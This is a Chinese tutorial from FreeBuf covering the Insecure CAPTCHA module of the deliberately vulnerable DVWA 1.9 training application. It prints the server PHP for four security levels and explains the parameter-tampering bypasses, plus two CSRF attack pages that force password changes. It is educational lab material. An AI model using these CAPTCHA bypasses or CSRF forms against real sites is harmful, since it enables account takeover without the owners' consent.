新手指南:DVWA-1.9全级别教程之Insecure CAPTCHA
*本文原创作者:lonehand,转载须注明来自FreeBuf.COM目前,最新的DVWA已经更新到1.9版本(http://www.dvwa.co.uk/),而网上的教程大多停留在旧版本,且没有针对DVWA high级别的教程,因此萌发了一个撰写新手教程的想法,错误的地方还请大家指正。
DVWA简介
DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助web开发者更好的理解web应用安全防范的过程。
DVWA共有十个模块,分别是
Brute Force(暴力(破解))
Command Injection(命令行注入)
CSRF(跨站请求伪造)
File Inclusion(文件包含)
File Upload(文件上传)
Insecure CAPTCHA (不安全的验证码)
SQL Injection(SQL注入)
SQL Injection(Blind)(SQL盲注)
XSS(Reflected)(反射型跨站脚本)
XSS(Stored)(存储型跨站脚本)
需要注意的是,DVWA 1.9的代码分为四种安全级别:Low,Medium,High,Impossible。初学者可以通过比较四种级别的代码,接触到一些PHP代码审计的内容。
DVWA的搭建
Freebuf上的这篇文章《新手指南:手把手教你如何搭建自己的渗透测试环境》(http://www.freebuf.com/sectool/102661.html)已经写得非常好了,在这里就不赘述了。
之前模块的相关内容
Brute Force
Command Injection
CSRF
File Inclusion
File Upload
本文介绍Insecure CAPTCHA模块的相关内容,后续教程会在之后的文章中给出。
Insecure CAPTCHA
Insecure CAPTCHA,意思是不安全的验证码,CAPTCHA是Completely Automated Public Turing Test to Tell Computers and Humans Apart (全自动区分计算机和人类的图灵测试)的简称。但个人觉得,这一模块的内容叫做不安全的验证流程更妥当些,因为这块主要是验证流程出现了逻辑漏洞,谷歌的验证码表示不背这个锅。
reCAPTCHA验证流程
这一模块的验证码使用的是Google提供reCAPTCHA服务,下图是验证的具体流程。
服务器通过调用recaptcha_check_answer函数检查用户输入的正确性。
recaptcha_check_answer($privkey,$remoteip, $challenge,$response)
参数$privkey是服务器申请的private key ,$remoteip是用户的ip,$challenge 是recaptcha_challenge_field 字段的值,来自前端页面 ,$response是 recaptcha_response_field 字段的值。函数返回ReCaptchaResponse>
$is_valid是布尔型的,表示校验是否有效,
$error是返回的错误代码。
(ps:有人也许会问,那这个模块的实验是不是需要科学上网呢?答案是不用,因为我们可以绕过验证码)
下面对四种级别的代码进行分析。
Low
服务器端核心代码:
<?php if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) { // Hide the CAPTCHA form $hide_form = true; // Get input $pass_new= $_POST[ 'password_new' ]; $pass_conf = $_POST[ 'password_conf' ]; // Check CAPTCHA from 3rd party $resp = recaptcha_check_answer( $_DVWA[ 'recaptcha_private_key' ], $_SERVER[ 'REMOTE_ADDR' ], $_POST[ 'recaptcha_challenge_field' ], $_POST[ 'recaptcha_response_field' ] ); // Did the CAPTCHA fail? if( !$resp->is_valid ) { // What happens when the CAPTCHA was entered incorrectly $html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>"; $hide_form = false; return; } else { // CAPTCHA was correct. Do both new passwords match? if( $pass_new == $pass_conf ) { // Show next stage for the user echo " <pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre> <form action=\"#\" method=\"POST\"> <input type=\"hidden\" name=\"step\" value=\"2\" /> <input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" /> <input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" /> <input type=\"submit\" name=\"Change\" value=\"Change\" /> </form>"; } else { // Both new passwords do not match. $html .= "<pre>Both passwords must match.</pre>"; $hide_form = false; } } } if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) { // Hide the CAPTCHA form $hide_form = true; // Get input $pass_new= $_POST[ 'password_new' ]; $pass_conf = $_POST[ 'password_conf' ]; // Check to see if both password match if( $pass_new == $pass_conf ) { // They do! $pass_new = mysql_real_escape_string( $pass_new ); $pass_new = md5( $pass_new ); // Update database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' ); // Feedback for the end user echo "<pre>Password Changed.</pre>"; } else { // Issue with the passwords matching echo "<pre>Passwords did not match.</pre>"; $hide_form = false; } mysql_close(); } ?> 可以看到,服务器将改密操作分成了两步,第一步检查用户输入的验证码,验证通过后,服务器返回表单,第二步客户端提交post请求,服务器完成更改密码的操作。但是,这其中存在明显的逻辑漏洞,服务器仅仅通过检查Change、step 参数来判断用户是否已经输入了正确的验证码。
漏洞利用
1.通过构造参数绕过验证过程的第一步
首先输入密码,点击Change按钮,抓包:
(ps:因为没有翻墙,所以没能成功显示验证码,发送的请求包中也就没有recaptcha_challenge_field、recaptcha_response_field两个参数)
更改step参数绕过验证码:
修改密码成功:
2.由于没有任何的防CSRF机制,我们可以轻易地构造攻击页面,页面代码如下(详见CSRF模块的教程)。
<html> <body> <div> <form method="POST" action="http://192.168.153.130/dvwa/vulnerabilities/captcha/"> <input type="hidden" name="password_new" value="password"><input type="hidden" name="password_conf" value="password"> <input type="hidden" name="step" value="2" <input type="hidden" name="Change" value="Change"> </form> </div> </body></html> 当受害者访问这个页面时,攻击脚本会伪造改密请求发送给服务器。
美中不足的是,受害者会看到更改密码成功的界面(这是因为修改密码成功后,服务器会返回302,实现自动跳转),从而意识到自己遭到了攻击。
Medium
服务器端核心代码:
<?php if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) { // Hide the CAPTCHA form $hide_form = true; // Get input $pass_new= $_POST[ 'password_new' ]; $pass_conf = $_POST[ 'password_conf' ]; // Check CAPTCHA from 3rd party $resp = recaptcha_check_answer( $_DVWA[ 'recaptcha_private_key' ], $_SERVER[ 'REMOTE_ADDR' ], $_POST[ 'recaptcha_challenge_field' ], $_POST[ 'recaptcha_response_field' ] ); // Did the CAPTCHA fail? if( !$resp->is_valid ) { // What happens when the CAPTCHA was entered incorrectly $html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>"; $hide_form = false; return; } else { // CAPTCHA was correct. Do both new passwords match? if( $pass_new == $pass_conf ) { // Show next stage for the user echo " <pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre> <form action=\"#\" method=\"POST\"> <input type=\"hidden\" name=\"step\" value=\"2\" /> <input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" /> <input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" /> <input type=\"hidden\" name=\"passed_captcha\" value=\"true\" /> <input type=\"submit\" name=\"Change\" value=\"Change\" /> </form>"; } else { // Both new passwords do not match. $html .= "<pre>Both passwords must match.</pre>"; $hide_form = false; } } } if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) { // Hide the CAPTCHA form $hide_form = true; // Get input $pass_new= $_POST[ 'password_new' ]; $pass_conf = $_POST[ 'password_conf' ]; // Check to see if they did stage 1 if( !$_POST[ 'passed_captcha' ] ) { $html .= "<pre><br />You have not passed the CAPTCHA.</pre>"; $hide_form = false; return; } // Check to see if both password match if( $pass_new == $pass_conf ) { // They do! $pass_new = mysql_real_escape_string( $pass_new ); $pass_new = md5( $pass_new ); // Update database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' ); // Feedback for the end user echo "<pre>Password Changed.</pre>"; } else { // Issue with the passwords matching echo "<pre>Passwords did not match.</pre>"; $hide_form = false; } mysql_close(); } ?> 可以看到,Medium级别的代码在第二步验证时,参加了对参数passed_captcha的检查,如果参数值为true,则认为用户已经通过了验证码检查,然而用户依然可以通过伪造参数绕过验证,本质上来说,这与Low级别的验证没有任何区别。
漏洞利用
1.可以通过抓包,更改step参数,增加passed_captcha参数,绕过验证码。
抓到的包:
更改之后的包:
更改密码成功:
2.依然可以实施CSRF攻击,攻击页面代码如下。
<html> <body> <div> <form method="POST" action="http://192.168.153.130/dvwa/vulnerabilities/captcha/"> <input type="hidden" name="password_new" value="password"><input type="hidden" name="password_conf" value="password"> <input type="hidden" name="passed_captcha" value="true"> <input type="hidden" name="step" value="2"> <input type="hidden" name="Change" value="Change"> </form> </div></body> </html> 当受害者访问这个页面时,攻击脚本会伪造改密请求发送给服务器。
不过依然会跳转到更改密码成功的界面。
High
服务器端核心代码:
<?php if( isset( $_POST[ 'Change' ] ) ) { // Hide the CAPTCHA form $hide_form = true; // Get input $pass_new= $_POST[ 'password_new' ]; $pass_conf = $_POST[ 'password_conf' ]; // Check CAPTCHA from 3rd party $resp = recaptcha_check_answer( $_DVWA[ 'recaptcha_private_key' ], $_SERVER[ 'REMOTE_ADDR' ], $_POST[ 'recaptcha_challenge_field' ], $_POST[ 'recaptcha_response_field' ] ); // Did the CAPTCHA fail? if( !$resp->is_valid && ( $_POST[ 'recaptcha_response_field' ] != 'hidd3n_valu3' || $_SERVER[ 'HTTP_USER_AGENT' ] != 'reCAPTCHA' ) ) { // What happens when the CAPTCHA was entered incorrectly $html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>"; $hide_form = false; return; } else { // CAPTCHA was correct. Do both new passwords match? if( $pass_new == $pass_conf ) { $pass_new = mysql_real_escape_string( $pass_new ); $pass_new = md5( $pass_new ); // Update database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "' LIMIT 1;"; $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' ); // Feedback for user echo "<pre>Password Changed.</pre>"; } else { // Ops. Password mismatch $html .= "<pre>Both passwords must match.</pre>"; $hide_form = false; } } mysql_close(); } // Generate Anti-CSRF token generateSessionToken(); ?> 可以看到,服务器的验证逻辑是当$resp(这里是指谷歌返回的验证结果)是false,并且参数recaptcha_response_field不等于hidd3n_valu3(或者http包头的User-Agent参数不等于reCAPTCHA)时,就认为验证码输入错误,反之则认为已经通过了验证码的检查。
漏洞利用
搞清楚了验证逻辑,剩下就是伪造绕过了,由于$resp参数我们无法控制,所以重心放在参数recaptcha_response_field、User-Agent上。
第一步依旧是抓包:
更改参数recaptcha_response_field以及http包头的User-Agent:
密码修改成功:
Impossible
服务器端核心代码
if( isset( $_POST[ 'Change' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Hide the CAPTCHA form $hide_form = true; // Get input $pass_new= $_POST[ 'password_new' ]; $pass_new= stripslashes( $pass_new ); $pass_new= mysql_real_escape_string( $pass_new ); $pass_new= md5( $pass_new ); $pass_conf = $_POST[ 'password_conf' ]; $pass_conf = stripslashes( $pass_conf ); $pass_conf = mysql_real_escape_string( $pass_conf ); $pass_conf = md5( $pass_conf ); $pass_curr = $_POST[ 'password_current' ]; $pass_curr = stripslashes( $pass_curr ); $pass_curr = mysql_real_escape_string( $pass_curr ); $pass_curr = md5( $pass_curr ); // Check CAPTCHA from 3rd party $resp = recaptcha_check_answer( $_DVWA[ 'recaptcha_private_key' ], $_SERVER[ 'REMOTE_ADDR' ], $_POST[ 'recaptcha_challenge_field' ], $_POST[ 'recaptcha_response_field' ] ); // Did the CAPTCHA fail? if( !$resp->is_valid ) { // What happens when the CAPTCHA was entered incorrectly echo "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>"; $hide_form = false; return; } else { // Check that the current password is correct $data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' ); $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR ); $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR ); $data->execute(); // Do both new password match and was the current password correct? if( ( $pass_new == $pass_conf) && ( $data->rowCount() == 1 ) ) { // Update the database $data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' ); $data->bindParam( ':password', $pass_new, PDO::PARAM_STR ); $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR ); $data->execute(); // Feedback for the end user - success! echo "<pre>Password Changed.</pre>"; } else { // Feedback for the end user - failed! echo "<pre>Either your current password is incorrect or the new passwords did not match.<br />Please try again.</pre>"; $hide_form = false; } } } // Generate Anti-CSRF token generateSessionToken(); ?> 可以看到,Impossible级别的代码增加了Anti-CSRF token 机制防御CSRF攻击,利用PDO技术防护sql注入,验证过程终于不再分成两部分了,验证码无法绕过,同时要求用户输入之前的密码,进一步加强了身份认证。
*本文原创作者:lonehand,转载须注明来自FreeBuf.COM
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